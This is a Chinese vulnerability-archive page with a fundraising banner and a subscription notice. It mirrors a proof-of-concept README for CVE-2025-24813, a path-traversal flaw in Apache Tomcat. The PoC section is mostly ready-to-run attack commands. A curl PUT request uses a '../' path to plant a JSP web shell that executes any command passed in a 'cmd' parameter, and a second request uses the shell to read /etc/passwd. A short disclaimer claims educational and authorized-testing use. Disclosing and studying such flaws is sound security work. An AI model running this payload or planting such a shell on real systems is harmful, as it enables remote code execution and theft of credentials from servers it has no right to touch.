目标达成 感谢每一位支持者 — 我们达成了 100% 目标!

目标: 1000 元 · 已筹: 1310

100%

CVE-2025-24813 PoC — Apache Tomcat 环境问题漏洞

来源
关联漏洞
标题:Apache Tomcat 环境问题漏洞 (CVE-2025-24813)
Description:Apache Tomcat是美国阿帕奇(Apache)基金会的一款轻量级Web应用服务器。用于实现对Servlet和JavaServer Page(JSP)的支持。 Apache Tomcat 11.0.0-M1至11.0.2版本、10.1.0-M1至10.1.34版本和9.0.0.M1至9.0.98版本存在环境问题漏洞。攻击者利用该漏洞可以远程执行代码或泄露敏感信息。
介绍


# CVE-2025-24813 - Apache Tomcat Path Equivalence Vulnerability

Apache Tomcat is vulnerable to a **Path Equivalence / Path Traversal** issue due to improper handling of `../` sequences in paths.  
**CVE ID:** CVE-2025-24813  
- **Severity:** Critical  

**Reference link:** https://github.com/advisories/GHSA-83qj-6fr2-vhqg

---

### PoC Steps:

**1. Send a `curl` request with a PUT method:**

```bash
curl -X PUT "http://target.com/uploads/../webapps/ROOT/updates.jsp" \
  -H "Content-Type: application/x-jsp" \
  --data-raw '<%@ page import="java.io.*" %>
<html><body>
<form method="GET"><input type="text" name="cmd"><input type="submit" value="Run"></form>
<% if(request.getParameter("cmd") != null) {
Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
BufferedReader r = new BufferedReader(new InputStreamReader(p.getInputStream()));
String l; while((l=r.readLine())!=null){ out.println(l+"<br>"); } } %>
</body></html>' -i
```
![image](https://github.com/user-attachments/assets/54f1ad0a-8788-4aed-9a4a-bc0df9eaad30)

**2. Access the uploaded file directly:**

```bash
curl "http://target.com/updates.jsp?cmd=cat/etc/passwd" -i
```
![image](https://github.com/user-attachments/assets/640f4566-c7f0-4e74-90fe-e650619345d8)

---

This repository is created for educational purposes and authorized testing only.  
**Unauthorized use against systems without explicit permission is illegal.**

---
文件快照

登录后查看神龙缓存的 POC 文件快照

登录查看
备注
    1. 建议优先通过来源进行访问。
    2. 本地 POC 快照面向订阅用户开放;当原始来源失效或无法访问时,本地镜像作为订阅权益的一部分提供。
    3. 持续抓取、验证、维护这份 POC 档案需要不少投入,因此本地快照已纳入付费订阅。您的订阅是让这份资料能继续走下去的关键,由衷感谢。 查看订阅方案 →